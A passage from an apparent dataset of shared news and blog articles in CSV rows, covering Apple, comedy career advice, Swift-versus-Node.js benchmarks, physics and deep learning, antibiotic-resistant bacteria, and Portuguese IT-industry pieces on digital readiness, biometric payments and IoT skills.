Monday to find a surprise party being thrown in your honor. As a result, Apple is feeling like something it hasn't in a long time: a company people approach with low expectations, but which blows them away every time. Underpromise and overdeliver. Lather, rinse and repeat. Will Tim Cook ever be the bombastic showman that Steve Jobs was? No. Will Apple ever experience the type of roller-coaster reversal of fortunes it did in the decade from, say, 1997 to 2007? Probably not. But is Cook's strategy paying off - and in the process making this one helluva time to be an Apple fan? You bet!",en
1473458946,CONTENT SHARED,-2779829118032656703,-8606085472606356565,-3006119513811913171,,,,HTML,http://www.nytimes.com/2016/09/04/movies/mike-birbiglias-6-tips-for-making-it-small-in-hollywood-or-anywhere.html,Mike Birbiglia's 6 Tips for Making It Small in Hollywood. Or Anywhere.,"This summer, I went on a 30-city tour with my movie ""Don't Think Twice,"" a comedy about an improv group that has to decide whether to stay in show business when one member is plucked for a "" Saturday Night Live "" type of show. At every Q. and A. session for the movie, people would ask the same question: ""If I want to be a comedian [or actor or writer or improviser or film director], how do I get started?"" The truth is they should probably pick someone more successful to ask - I make small films, small one-man shows Off Broadway and small comedy specials for Netflix - but I'm the person who showed up to talk to them. And now I'm the person offering you unsolicited advice - so if you don't need it or want it, this is not for you. Anyway, I've boiled my answer down to six ideas. 1. DON'T WAIT Write. Make a short film. Go to an open mike. Take an improv class. There's no substitute for actually doing something. Don't talk about it anymore. Maybe don't even finish reading this essay. 2. FAIL Don't worry about failing. There's a great video where Ira Glass explains that when you start in a new field, your work won't be as good as your taste. It will take years for your taste and the quality of your work to intersect. (If ever!) Failure is essential. There's no substitute for it. It's not just encouraged but required. The bedrock of all good pieces of writing is 10 bad drafts. Maybe 20. I wrote 12 drafts of ""Don't Think Twice,"" 14 drafts of my first movie, ""Sleepwalk With Me,"" and worked on my first one-man show for six years. My first five-minute set on ""Late Show With David Letterman"" in 2002 was mined from three hours of so-so material that I had tried and failed with for six years. 3. LEARN FROM THE FAILURE This is where it becomes important to find a community of people you respect. People who have good taste. People who might not be good at something themselves but know what good is. They might be in a theater company, at an improv school, or live in your dorm. They aren't the easiest thing to find. When I was in college, every Wednesday I drove my girlfriend Maggie's Ford Taurus to an open mike at a Best Western 40 minutes away, to enter a lottery of 30 comedians trying to win one of the nine spots to perform in front of the other angry 21 comedians. It sucked. People didn't like my comedy there. I didn't love theirs. It wasn't a fit. But then I got a job working as a door person at the DC Improv comedy club in Washington, and that was a fit. Around the same time, I was cast in my college improv group. So all at once, I met people whom I could bounce jokes and ideas off of. They'd give me candid feedback, and I tried to listen. I wasn't great at it at first. It's hard to hear criticism. But I've learned that harsh feedback, constructive feedback, even weird, random feedback, is all helpful, if you know the essence of what you're trying to convey. I once heard an interview where Ron Howard said that he tests the rough cuts of his movies with a ton of audiences. He doesn't do it to be told what the movie's vision should be, but to understand whether his vision is coming across. If not, he makes changes. Your vision is not being conveyed a majority of the time. With ""Don't Think Twice,"" I workshopped the script like the way I workshop my standup: I invited friends over to read it out loud in my living room and then fed them pizza. The pizza was excellent. The script often wasn't. So I'd get my friends all drunk on pizza and then ask them hard questions like: ""What do you like least about the script? Be honest. I can take it."" That's where I learned the most. 4. MAYBE QUIT You might not be meant to be a writer or performer or improviser. You might be meant to teach kids math or raise money for a food bank or start a company that makes Rubik's Cubes for babies. Don't rule out quitting. There is going to be an insane amount of work ahead, and your time might be spent better elsewhere. There was a great column in The New York Times recently where Angela Duckworth writes, ""Rather than ask, 'What do I want to be when I grow up?' ask, 'In what way do I wish the world were different? What problem can I help solve?' This puts the focus where it should be - on how you can serve other people.""",en
1473459090,CONTENT SHARED,-3666646454167334466,-709287718034731589,1398497667000331415,,,,HTML,https://medium.com/@rymcol/benchmarks-for-the-top-server-side-swift-frameworks-vs-node-js-24460cfe0beb,Benchmarks for the Top Server-Side Swift Frameworks vs. Node.js,"Introduction Recently I was working in Server-Side Swift, and I was asked the question: ""Can Server-Side Swift beat Node.js?"" Swift as a primary language for everything, including the server, has been intriguing since it was first open sourced and ported to Linux. Many of you are assuredly as curious as I am, so I'm very pleased to share the results of my study here. The Top Server-Side Swift Frameworks At the time of writing, the top Server-Side Swift Frameworks (Listed in order of Stars on GitHub) are: Organization of this Post This document is laid out in the following manner: This quick intro Results Summary Methodology Detailed Results Conclusion & Final Notes Results Summary The following is a quick summary of the primary benchmarks, and I will say this here: No matter the individual rankings, all of these frameworks performed incredibly well, Swift consistently beat Node.js, and they were all a lot of fun to work with. Methodology & Notes Why Use Blogs & JSON? Most simply, blogs are more than returning ""Hello, world!"", and JSON is a very common use case. Good benchmarks need a similar load on each framework, and it needed to be a bit more load that printing two words to the screen. Keeping Things the Same One of the major themes I tried to stick to was keeping all of the blogs as similar to one another as possible, while still developing in the style and syntax of each framework. Many of the structs, like content generation, are repeated throughout verbatim, so that each framework has the same data models to work with, but facets like URL routing are sometimes starkly different to fit with the syntax and style of each framework. Subtle differences There are some subtle differences to note between the Server-Side Swift Frameworks. Both Kitura and Zewo have issues building if there are any spaces in their absolute file paths. Xcode also has issues building with spaces in absolute file paths in any framework. Zewo is using the 05-09-a Swift snapshot, which means that it has trouble building in release mode and has to be run in debug mode. All Zewo tests were performed with Zewo built and running in debug mode (without release optimizations) for this reason. Static file handling is a point of debate amongst Server-Side Swift Frameworks. Vapor and Zewo both recommend using Nginx as a proxy for static file handling, then putting the framework behind that as the processing power for the backend. Perfect suggests using their built in handler, and I have not seen any comments on IBM regarding their own views on the subject. As this study was not about how well frameworks work with established server applications like Nginx, static file handling was used natively with each framework. You may be able to achieve better performance in both Vapor and Zewo if you choose to build with this in mind. This is also a secondary reason that I included JSON testing. [Added September 1st with updated results] Zewo is a single threaded application. You can get extra performance out of it by running one instance of the application per available CPU, as they follow a concurrent, rather than multi-threaded model. For the purposes of this study, only one instance of each application was run. Toolchains. Each framework is building off a different development snapshot toolchain from Apple. At the time of final testing they were/are: - DEVELOPMENT-SNAPSHOT-2016-08-24-a for Perfect - DEVELOPMENT-SNAPSHOT-2016-07-25-a for Vapor & Kitura - DEVELOPMENT-SNAPSHOT-2016-05-09-a for Zewo Vapor has a special syntax for running releases. If you simply execute the binary, you're going to get some extra console logging that is meant to help with the development and debugging process. That has a little overhead. To run Vapor in release mode you need to add to the executable. i.e. [Added September 1st with updated results] When working with Zewo, even though you cannot build with swift in release mode on the 05-09-a toolchain, you can add some release mode optimizations by passing these arguments: Node.js/Express does not build, nor does it differentiate between debug/release Static file handling is included in Vapor's default middleware. If you are not using static files and want to optimize for speed, you must include (as I did in VaporJSON): Why Node.js/Express? I decided to include a variation of the blog using the Express framework in Node.js. This is a good comparison because it has a very similar syntax to Server-Side Swift and is widely used. It helps establish a good baseline to show just how impressive Swift can be. Developing the Blogs At some point I started to call this ""chasing the bouncing ball"". The current Server-Side Swift frameworks are under very active development, as is Swift 3, and each has a ton of changes from its previous versions. This became amplified by the frequent releases from all the Server-Side Swift Frameworks, as well as the Swift team at Apple. None of them were particularly complete in their documentation at this point, so I'm very thankful to members of the framework teams and the Server-Side Swift community at large for their contributions. I'm also grateful for the help that countless community members and framework teams gave me along the way. It was a ton of fun, and I would do it again without thinking. As a side note, even though attribution was not required by the license, I feel it is nice to note that all the random royalty-free pictures included in the sources are from Pixbay , and were selected by me at random. Sources like this make demo projects much easier. Hosting & Environment To minimize any differences in the environment, I took a 2012 Mac Mini and gave it a clean install of El Capitan (10.11.6). After that, I downloaded and installed Xcode 8 beta 6, and set my command line tools to Xcode 8. From there I installed swiftenv, installed the necessary snapshots, cloned the repos, and cleanly build each of the blogs, again in release mode where possible. I never ran more than one at a time, and each was stopped and restarted in between tests. The test server specs are: For development, I use a 2015 rMBP. I ran the build time tests here, as this is my real-life development machine and it made the most sense. I used wrk to get the benchmarks, and I did this over a thunderbolt bridge using a thunderbolt 2 cable between the machines. Using a thunderbolt bridge makes sure that you have an incredible amount of bandwidth and that you are not benchmarking the limitations of your router, instead of the task at hand. It's also more reliable to serve the blogs on one machine, and to use a separate, more powerful machine to generate the load, ensuring you are capable of overpowering the server, so that you can be certain this is not a limitation. This also gives you a consistent testing environment, so I can say that each blog was run on the same hardware and in the same conditions. For the curious, the specs of my machine are: Benchmarking Notes For benchmarking, I decided to use a ten minute test with four threads, each carrying 20 connections. Four seconds is not test. Ten minutes is a reasonable timeframe to get plenty of data, and running 20 connections on four threads is a hefty load for the blogs, but not a breaking load. Source Code If you would like to explore the source code for the projects or do any of your own testing, I consolidated the code used for testing into one repository, found at: Detailed Results Build Time I thought it would be fun to first take a look at build times. Build time can play a big role in day to day development, and while it has little to do with a framework's performance, I thought it might be fun to explore real numbers vs. how long things felt while I was waiting. What was run For each framework, and then were run, followed by a second test of then: This factors both a full build including pulling dependencies with SPM, as well as a regular, clean build with dependencies already downloaded. How it was run This was run on my local 2015 rMBP and the builds were all done in debug mode, because this is the normal process when developing Swift software. Build Time Results",en
1473474067,CONTENT SHARED,-8876785823151614444,-1032019229384696495,2066511385444402678,,,,HTML,https://www.technologyreview.com/s/602344/the-extraordinary-link-between-deep-neural-networks-and-the-nature-of-the-universe/?utm_campaign=socialflow&utm_source=facebook&utm_medium=post,Physicists have discovered what makes neural networks so extraordinarily powerful,"In the last couple of years, deep learning techniques have transformed the world of artificial intelligence. One by one, the abilities and techniques that humans once imagined were uniquely our own have begun to fall to the onslaught of ever more powerful machines. Deep neural networks are now better than humans at tasks such as face recognition and object recognition. They've mastered the ancient game of Go and thrashed the best human players. But there is a problem. There is no mathematical reason why networks arranged in layers should be so good at these challenges. Mathematicians are flummoxed. Despite the huge success of deep neural networks, nobody is quite sure how they achieve their success. Today that changes thanks to the work of Henry Lin at Harvard University and Max Tegmark at MIT. These guys say the reason why mathematicians have been so embarrassed is that the answer depends on the nature of the universe. In other words, the answer lies in the regime of physics rather than mathematics. First, let's set up the problem using the example of classifying a megabit grayscale image to determine whether it shows a cat or a dog. Such an image consists of a million pixels that can each take one of 256 grayscale values. So in theory, there can be 256 1000000 possible images, and for each one it is necessary to compute whether it shows a cat or dog. And yet neural networks, with merely thousands or millions of parameters, somehow manage this classification task with ease. In the language of mathematics, neural networks work by approximating complex mathematical functions with simpler ones. When it comes to classifying images of cats and dogs, the neural network must implement a function that takes as an input a million grayscale pixels and outputs the probability distribution of what it might represent. The problem is that there are orders of magnitude more mathematical functions than possible networks to approximate them. And yet deep neural networks somehow get the right answer. Now Lin and Tegmark say they've worked out why. The answer is that the universe is governed by a tiny subset of all possible functions. In other words, when the laws of physics are written down mathematically, they can all be described by functions that have a remarkable set of simple properties. So deep neural networks don't have to approximate any possible mathematical function, only a tiny subset of them. To put this in perspective, consider the order of a polynomial function, which is the size of its highest exponent. So a quadratic equation like y=x 2 has order 2, the equation y=x 24 has order 24, and so on. Obviously, the number of orders is infinite and yet only a tiny subset of polynomials appear in the laws of physics. ""For reasons that are still not fully understood, our universe can be accurately described by polynomial Hamiltonians of low order,"" say Lin and Tegmark. Typically, the polynomials that describe laws of physics have orders ranging from 2 to 4. The laws of physics have other important properties. For example, they are usually symmetrical when it comes to rotation and translation. Rotate a cat or dog through 360 degrees and it looks the same; translate it by 10 meters or 100 meters or a kilometer and it will look the same. That also simplifies the task of approximating the process of cat or dog recognition. These properties mean that neural networks do not need to approximate an infinitude of possible mathematical functions but only a tiny subset of the simplest ones. There is another property of the universe that neural networks exploit. This is the hierarchy of its structure. ""Elementary particles form atoms which in turn form molecules, cells, organisms, planets, solar systems, galaxies, etc.,"" say Lin and Tegmark. And complex structures are often formed through a sequence of simpler steps. This is why the structure of neural networks is important too: the layers in these networks can approximate each step in the causal sequence. Lin and Tegmark give the example of the cosmic microwave background radiation, the echo of the Big Bang that permeates the universe. In recent years, various spacecraft have mapped this radiation in ever higher resolution. And of course, physicists have puzzled over why these maps take the form they do. Tegmark and Lin point out that whatever the reason, it is undoubtedly the result of a causal hierarchy. ""A set of cosmological parameters (the density of dark matter, etc.) determines the power spectrum of density fluctuations in our universe, which in turn determines the pattern of cosmic microwave background radiation reaching us from our early universe, which gets combined with foreground radio noise from our galaxy to produce the frequency-dependent sky maps that are recorded by a satellite-based telescope,"" they say. Each of these causal layers contains progressively more data. There are only a handful of cosmological parameters but the maps and the noise they contain are made up of billions of numbers. The goal of physics is to analyze the big numbers in a way that reveals the smaller ones. And when phenomena have this hierarchical structure, neural networks make the process of analyzing it significantly easier. ""We have shown that the success of deep and cheap learning depends not only on mathematics but also on physics, which favors certain classes of exceptionally simple probability distributions that deep learning is uniquely suited to model,"" conclude Lin and Tegmark. That's interesting and important work with significant implications. Artificial neural networks are famously based on biological ones. So not only do Lin and Tegmark's ideas explain why deep learning machines work so well, they also explain why human brains can make sense of the universe. Evolution has somehow settled on a brain structure that is ideally suited to teasing apart the complexity of the universe. This work opens the way for significant progress in artificial intelligence. Now that we finally understand why deep neural networks work so well, mathematicians can get to work exploring the specific mathematical properties that allow them to perform so well. ""Strengthening the analytic understanding of deep learning may suggest ways of improving it,"" say Lin and Tegmark. Deep learning has taken giant strides in recent years. With this improved understanding, the rate of advancement is bound to accelerate. Ref: arxiv.org/abs/1608.08225 : Why Does Deep and Cheap Learning Work So Well?",en
1473541771,CONTENT SHARED,5299613310913826266,-1032019229384696495,2066511385444402678,,,,HTML,http://www.npr.org/sections/health-shots/2016/09/08/492965889/watch-bacteria-invade-antibiotics-and-transform-into-superbugs,WATCH: Bacteria Invade Antibiotics And Transform Into Superbugs,"If you've ever wanted to watch a superbug evolve before your very eyes, you're in luck. Researchers filmed an experiment that created bacteria a thousand times more drug-resistant than their ancestors. In the time-lapse video, a white bacterial colony creeps across an enormous black petri dish plated with vertical bands of successively higher doses of antibiotic. The colony pauses when it hits the first band of antibiotic, creating a stark border between the white colony and the black petri dish. Then the bacteria start to edge their way into the toxic soup. More dots appear and they start growing, racing to the next, stronger band of antibiotic. The bacteria are evolving. After almost two weeks of real time have passed, they've become resistant to the strongest antibiotic and completely taken over the kitchen-table-sized petri dish. We know dangerous bacteria are getting stronger all the time and that it's our fault because of our excessive and indiscriminate use of antibiotics. Each year, 23,000 people in the U.S. die as a result of superbug infections . But we typically don't get to see superbugs created. For most people, evolution is just conceptual, says Tami Lieberman , an evolutionary microbiologist at MIT. She and her Ph.D. adviser, Roy Kishony at Harvard Medical School, wanted something that would make the evolution of superbugs seem more concrete. ""The goal was to see evolution, not to abstract it,"" she says. Their video and report were published Thursday in the journal Science . By having the E. coli bacteria grow across bands of increasingly stronger doses of antibiotic, the scientists could make it look like evolution was marching across the dish. But the setup had another effect that the researchers didn't expect. The faster growing colonies of resistant bacteria were cutting off the growth of slower but more drug-resistant colonies and becoming more successful. When bacteria evolve drug resistance, it usually comes at some kind of cost to the bug. In the presence of an antibiotic, faster growing colonies don't grow as robustly as the slower ones - but that often doesn't matter. If the strain wants to live on, it just needs to be the first to get to the next human or food source. ""[This] phenomenon has been very, very tough to study classically,"" says Michael Baym , the postdoc who built the 4- by 2-foot petri dish in Kishony's lab. In his contraption, it's impossible to miss. And if scientists can see it, maybe they can start to study it. Using something as simple as a giant petri dish like this could help scientists open up that spatial dimension that has been missing from the lab, says Pamela Yeh , a microbiologist at UCLA who was not involved in the experiment. ""Hopefully this will put back in people's minds how important the spatial element can be."" It's possible that there's a lot of research that can be done by getting away from small, classic petri dishes, Yeh says. But for now, Kisony's 2-by-4 is mostly just a demonstration. Hopefully, a useful one, Lieberman says. ""Getting more people to understand how quickly bacteria evolve antibiotic resistance might help people understand why they shouldn't be prescribed antibiotics. The drug resistance is not some abstract threat. It's real.""",en
1473556207,CONTENT SHARED,4373020502739965726,3915038251784681624,5263811446711891099,,,,HTML,http://cio.com.br/noticias/2016/09/09/ti-continua-despreparada-para-os-negocios-digitais-afirma-gartner/,"TI continua despreparada para os negócios digitais, afirma Gartner - CIO","Apenas 41% dos profissionais de Tecnologia da Informação acreditam que seus departamentos de TI estão prontos para os negócios digitais dos próximos dois anos, afirma o Gartner. A consultoria consultou 948 clientes em 30 países, entrevistando profissionais de TI de diversas áreas e disciplinas durante o primeiro trimestre dete ano. Para realização do estudo, eles foram questionados sobre suas funções e sobre como as organizações estão tentando se transformar para os desafios dos negócios digitais. A maioria dos profissionais (91%) acredita ter uma função a desempenhar na transformação digital de suas empresas. Entretanto, 59% reconhecem que seus departamentos estão despreparados para os negócios digitais dos próximos dois anos. Conclusões mais recentes destacam uma preocupação real: o desconforto sobre o quão bem os setores de TI estão preparados refletem déficits de habilidade em áreas tecnológicas e não tecnológicas. As áreas de tecnologia consideradas mais influentes nas atividades e carreiras dos profissionais de TI nos próximos 18 meses são Computação em Nuvem, Analytics, Mobilidade e Segurança. Dos profissionais de TI entrevistados, 22% identificaram a Nuvem como a tecnologia que terá o maior impacto em suas carreiras ao longo deste ano. Dados/Analytics foi considerado o segundo item mais popular, com 11% das escolhas. ""Adquirir rapidamente as habilidades de Nuvem é fundamental para que os profissionais de TI possam repensar e reconstruir a infraestrutura de Tecnologia da Informação de suas empresas para melhor possibilitar as estratégias de negócios digitais. Entretanto, não é apenas a Nuvem. Há um conjunto completo de tecnologias e habilidades relacionadas à eficiência que os profissionais de TI devem planejar para o momento"", explica John Hagerty, Vice-Presidente e Analista Emérito do Gartner. O estudo pediu aos profissionais de TI que identificassem até três lacunas nas habilidades que suas organizações estavam tentando preencher com relação aos negócios digitais, de informática ou tecnologia. Nuvem e Dados/Analytics lideraram a lista. Os participantes também apontaram lacunas em habilidades técnicas gerais (indicando falta de conhecimento tecnológico abrangente), bem como nos campos de segurança, modernização de legado, mobilidade e Internet das Coisas. ""Isso, porém, não é somente sobre a tecnologia, pois as principais respostas foram habilidades de eficiência profissional, pensamento crítico, raciocínio e solução de problemas, conhecimento e perspicácia de negócios e habilidades de comunicação"" completa Hagerty. Além disso, 29% disseram que o engajamento com as demandas de negócios digitais deveriam ser seus deveres principais ou uma parte significante de suas atividades. ""Os profissionais de TI indicam que suas prioridades de investimento, alterações de infraestrutura, habilidades de desenvolvimento e interações de negócios com TI estão em fluxo e que eles não têm certeza de como seus departamentos passarão pela transformação digital. Para alguns, as mudanças estão chegando muito rápido, enquanto que para outros isso não está acontecendo"", comenta Hagerty. ""Os profissionais sabem que é preciso mudar, pensar e agir de forma diferente, mas têm dificuldade em se adaptarem ao novo cenário. Da mesma forma, eles consideram difícil equilibrar demandas atuais, como manter as empresas funcionando, com itens essenciais para o futuro"", completa. Veja outros dados do Gartner (Abra a imagem em outra janela para ampliar)",pt
1473557190,CONTENT SHARED,7883212773611521498,3915038251784681624,5263811446711891099,,,,HTML,http://cio.com.br/opiniao/2016/09/06/qual-o-futuro-da-biometria-em-pagamentos-moveis/,Qual o futuro da biometria em pagamentos móveis? - CIO,"A penetração de dispositivos móveis continua crescendo de forma constante no Brasil, e, cada vez mais, a adoção do uso de biometria em smartphones se torna mais comum e conquista a confiança dos consumidores, com possibilidades como a certificação de identidade e desbloquear dispositivos com um simples toque. No entanto, a biometria pode fazer muito mais do que apenas isso. No Brasil, os bancos e outras instituições financeiras já adotaram a tecnologia biométrica para proteger transações financeiras em caixas eletrônicos. O próximo passo é usá-la em pagamentos móveis, tornando-os mais seguros e rápidos. Diante desse cenário, os smartphones, que já contam com autenticação biométrica, devem desempenhar um papel muito maior na liberação de pagamentos em um clique. No entanto, antes da biometria se consolidar nos meios de pagamentos, existem algumas preocupações fundamentais que devem ser abordadas. Em primeiro lugar, há a questão da segurança. A tecnologia biométrica aproveita dados extremamente sensíveis e únicos, o que gera preocupações sobre a transferência e o armazenamento dessas informações. Um número de cartão de crédito roubado pode ser substituído, enquanto as impressões digitais roubadas, não. No entanto, conforme a autenticação biométrica se torna padrão em dispositivos móveis, ela deve atingir, naturalmente, um nível mais elevado de segurança, a fim de atender às exigências dos consumidores e ganhar sua confiança. À medida que os sistemas de autenticação móveis evoluem, os leitores biométricos em smartphones começam a ganhar mais aplicações em pagamentos móveis, melhorando a experiência dos consumidores ao confirmar sua identidade e concluir uma compra. A biometria deve conquistar um papel importante também na proteção dos nossos dados pessoais. Essa tecnologia é um elemento essencial para a autenticação local e ajuda a assegurar que um consumidor esteja atrelado a um dispositivo específico. Desta forma, os dados pessoais, como um número de identificação, aniversário ou endereço, não precisam ser compartilhados em todo o ecossistema de pagamentos. Em vez disso, tanto tokens, como dados muito limitados, podem ser transmitidos a terceiros. Assim, vemos a biometria como um mecanismo que aumentará a privacidade e a proteção de dados. Além de segurança, a biometria também terá de superar a questão do custo. Os custos iniciais podem ser elevados - especialmente quando se trata de novos métodos, como reconhecimento facial, - enquanto chips e PINs são tecnologias confiáveis que oferecem alto nível de segurança a um preço considerado aceitável. A expectativa é que com o crescimento da adoção de tecnologia biométrica, os custos de leitores já apresentem queda, consequentemente alavancando a procura por parte dos consumidores e comerciantes. Podemos esperar que os custos caiam ainda mais, já que organizações, como bancos e outras empresas de serviços financeiros, que dependem de prevenção da fraude, devem passar a ver o uso da tecnologia biométrica como um investimento rentável a longo prazo. Finalmente, a fim de alcançar presença sólida em pagamentos móveis, a tecnologia biométrica terá de adotar normas comuns para garantir uma experiência de pagamento rápida, intuitiva, segura e fácil, já que atualmente existe uma gama enorme de tecnologias de autenticação no mercado. De forma isolada, essas tecnologias não conseguem oferecer uma solução de pagamento completa, com a qual comerciantes e clientes possam contar. Um padrão biométrico já está em desenvolvimento. FIDO - ou Identidade Rápida On-line - acaba com a dificuldade de desenvolver uma solução que funcionará com tudo. Este padrão emergente visa criar uma interface universal que cada autenticador móvel pode usar para completar os pagamentos. Com ele, um dispositivo autenticado pode atuar como uma chave de acesso para permitir a realização de pagamentos de forma simples e segura. Recentemente, a Worldpay fechou uma parceria com a Samsung SDS, o braço de soluções de tecnologia da companhia, para desenvolver uma prova de conceito explorando a utilidade de FIDO nos dispositivos móveis de pontos de venda. A autenticação biométrica pode não só tornar realidade a implementação destes dispositivos em diferentes ambientes comerciais, como também pode contribuir para oferecer experiências mais consistentes para os usuários, permitindo que os varejistas façam login mais rápido e seguro para servir os seus consumidores. Em um país de proporções continentais como o Brasil, e que ainda tem regiões sem agências bancárias, esses dispositivos poderiam abrir novas possibilidades para o comércio entre os consumidores rurais e comerciantes sem acesso à infraestrutura bancária tradicional. No final, tanto os clientes quanto os comerciantes exigem uma experiência de pagamento rápida e segura. Os consumidores não querem se lembrar de várias senhas e os comerciantes, por sua vez, querem soluções acessíveis que melhorem a segurança e reduzam o tempo de transação, já que adicionar até poucos segundos extras à experiência de pagamento pode impactar seus negócios. Se a tecnologia for capaz de superar preocupações sobre a segurança, custo e padronização, a autenticação biométrica conseguirá oferecer grandes benefícios para todos. (*)Juan D'Antiochia é gerente geral da Worldpay para a América Latina",pt
1473558334,CONTENT SHARED,-5088157426675091741,3915038251784681624,5263811446711891099,,,,HTML,http://cio.com.br/tecnologia/2016/09/05/dez-habilidades-profissionais-mais-valorizadas-em-projetos-de-internet-das-coisas/,Dez habilidades profissionais mais valorizadas em projetos de Internet das Coisas - CIO,"A Internet das Coisas ganha tamanha atenção que é praticamente óbvio prever que, em um futuro não muito distante, pipocará no mercado toda uma gama de novas oportunidades de carreira. Segundo o Gartner, cerca de 29% das companhias já exploram IoT de alguma maneira, 14% pretende fazer isso em doze meses e 64% revelou que o fará, eventualmente, a qualquer momento. Por enquanto, os empregos atrelados ao conceitos ainda não são totalmente claros. Isso, contudo, deve mudar nos próximos anos, como uma nova variedade de cargos e profissões. Especialistas acreditam que a melhor estratégia para se dar bem lá na frente é adicionar desde já habilidades em seu currículo. Ainda, algumas áreas e conhecimentos de alta demanda surgirão a medida que novas tecnologias e aplicações tomam forma. Uma delas é analytics, um campo que ganha importância em praticamente todos projetos de TI, uma vez que dados viraram um combustível da economia digital. Outra capacidade profissional valorizada será a habilidade de criar pontes entre tecnologias da informação e de operações. ""Os times de TI precisarão entender aspectos hoje restritos ao pessoal de OT"", sintetiza Chet Geschickter, analista do Gartner, sinalizando que o contrário também será algo verdadeiro. Tecnologia operacional se aplica a todas pessoas na companhia que realizam tarefas que ajustam e gerenciam objetos do ""mundo real"". Em outras palavras, são os responsáveis pelos técnicos da refrigeração predial, dos programadores das linhas de produção, dos gestores de frota. Os mundos de TI e TO foram construídos de forma separada e, por muito tempo, não compartilharam conhecimentos. Isso funcionou relativamente bem até então, afinal, os zeros e uns dos computadores não se encontrava com as prensas e engrenagens do chão da fábrica. Ocorre que com a ascensão da IoT, uma rede de dados e um servidor funcionará totalmente atrelado a esses dispositivos das linhas de manufatura. E aí que a realidade dará novos cotornos para habilidades profissionais. Vamos a um exemplo mais prático. Profissionais de TI - diferentemente dos de TO - sabem rastrear atualizações de softwares e entregar essas rotinas através de uma coleção complexa de sistemas formada por múltiplos vendors. Porém, sabem fazer isso com PCs, servidores, switches. Internet das Coisas é diferente. O que acontece se um caminhão de entrega precisar de um update de sistema urgente e estiver em trânsito? Como proceder, aguardar até ele chegar a uma base? Fazer o processo automaticamente com o veículo em movimento? Tal rotina vai acarretar algum perigo? Questões como essa, sobre objetos em movimento e segurança dos empregados estão entre as especialidades das equipes de OT. Porém, eles tem seus próprios pontos cegos. A maioria deles é acostumada a lidar com uma vasta gama de tecnologias providas por um único fabricante, observa Geschickter said. Para o especialista, eles sabem as entradas e saídas daquela plataforma, mas não tem muita experiência integrando aquele sistema com outras coisas. Normalmente, diz, é o fabricante que lida com essa parte do processo. Poucas descrições de emprego, atualmente, unem esses dois mundos. Um estudo relativamente recente da consultoria de análise de mercados Burning Glass identificou a existência de mais de 800 mil vagas de TI abertas nos Estados Unidos no início deste ano, dentre as quais apenas 1 mil para um posto específico de IoT. ""Certamente, existiram novas profissiões e títulos, mas provavelmente veremos uma grande expansão nas tarefas e responsabilidades atuais"", acredita Tim Herbert, vice-presidente de pesquisa e inteligência de mercado da CompTIA. Para ele, por exemplo, se uma companhia do setor de petróleo decide espalhar sensores sobre seus dutos, um administrador de rede terá que aprender como conectar novos tipos de endpoints que rodam diferentes sistemas operacionais dos que ele está acostumado. As empresas tendem a recorrer a funcionários de TI para resolver esse tipo de problemas, mesmo que, em muitos casos, são profissionais dos departamentos de operações que ocupam posição de engarregados de tais tarefas. Pelo menos é o que identifiou um estudo da Technalysis Research. De acordo com o levantamento divulgado em março, 44% dos profissionais acionados para atuarem em projetos de IoT estão no departamento de tecnologia. O segundo nesse ranking são times que atuam em ""facilities"". Dez habilidades mapeadas O avanço dos dispositivos conectados traz consigo a promessa de novos empregos atrelados a projetos de Internet das Coisas. No momento, ainda há poucos profissionais com perfis totalmente preparados para atuarem em projetos de IoT. ""Temos visto companhias de TI ao redor do mundo se organizando para atuarem com ofertas dentro do conceito, mas muitas vezes não tem processos e talentos para tornar esses planos em realidade"", comenta Ryan Johnson, diretor do site de recrutamento Upwork. Com base em dados extraídos a partir da plataforma, o executivo identificou dez habilidades que as companhias demandam para impulsionar uma estratégia de IoT bem-sucedida. 1. Design de circuito Dispositivos conectados requerem habilidade para integrar componentes eletrônicos a novos sistemas. Por exemplo, aplicações que requerem baterias de longa duração podem demandar um desenho específico das placas e circuitos para otimizar o consumo de energia, ou ter múltiplos sensores em uma única placa. 2. Programação de microcontroladores Um ambiente de IoT é composto por bilhões de pequenos aparelhos interconectados, sendo que, muitos deles requerem, no mínimo, um microcontrolador para adicionar inteligência ao dispositivo a fim de ajudar com tarefas de processamento. Microcontroladores de baixo custo, baixo consumo e com chips embarcados que tenham programação e memória construídas no sistema. Algumas linguagens específicas, como Arduino, são comumente utilizadas para construção de sensores e projetos de automação. 3. AutoCAD Domínio do software de design para projetos de engenharia deve ser altamente requisitado com o avanço da Internet das Coisas. Produtos inteligentes e conectados, frequentemente, requerem uma grande quantidade de ajustes e padronizações, como formatos standard e padrão. O processo de desenvolvimento de produto precisará acomodar essas mudanças de maneira rápida e eficiente. 4. Machine learning Algoritmos de aprendizado de máquina ajudam a criar equipamentos, aplicações e produtos mais inteligentes utilizando sensores de dados e outros aparelhos conectados. Machine learning entra na equação para ajudar a identificar padrões e prover insights. Porém, para fazer isso, empresas precisam especialistas capazes de adicionar inteligência à análise de dados. 5. Segurança de infraestrutura O medo causado pelo aumento da exposição de dados corporativos é justificável. Além disso, IoT adiciona o elemento de controle de equipamentos, que pode gerar transtornos de grandes proporções. Logo, especialistas que compreendem de forma sistêmica questões relativas a segurança de infraestrutura tendem a ser bastante valorizados no cenário que se desenha. 6. Big Data O aumento considerável no numero de dados passíveis de serem analisados é um componente importante no futuro da tecnologia. A Internet das Coisas elevará esse volume de registros ao extremo. Para ter valor da montanha de dados, organizações tendem a recorrer a cientistas de dados e engenheiros hábeis em criar sistemas de coleta, analise e organização de informações coletadas em distintas fontes. Disciplinas como Hadoop e Apache Spark são temas fundamentais. 7. Engenharia Elétrica Mais uma vez, a criação da próxima geração de dispositivos conectados requer habilidades tanto em software quando em engenharia elétrica. Dessa forma, engenheiros eletricistas são contratados para ajudar a desenvolver dispositivos que carreguem aplicações móveis e/ou criar soluções de rádio frequência e/ou micro-ondas para sistemas de comunicação e assim por diante. 8. Arquitetura de Segurança Temas como privacidade e vazamento de dados são uma preocupação constante quando o assunto dispositivos capazes de monitorar a vida de pessoas que estão conectados à internet. Para mitigar os riscos em potencial, empresas tem buscado profissionais capazes de arquitetar soluções passíveis de serem embarcadas no sistema 9. Node.js O ambiente open source é bastante popular em rotinas de gestão de aparelhos conectados com Arduino e Raspberry PI. Aos poucos, se torna em uma opção poderosa aos desenvolvedores que quiserem se aventurar na construção de aplicações para IoT. 10. GPS Sistemas de geoposicionamento ganham peso com a Internet das Coisas, especialmente com o advento de tecnologias vestíveis, veículos inteligentes e projetos impulsionados em companhias de logística.",pt
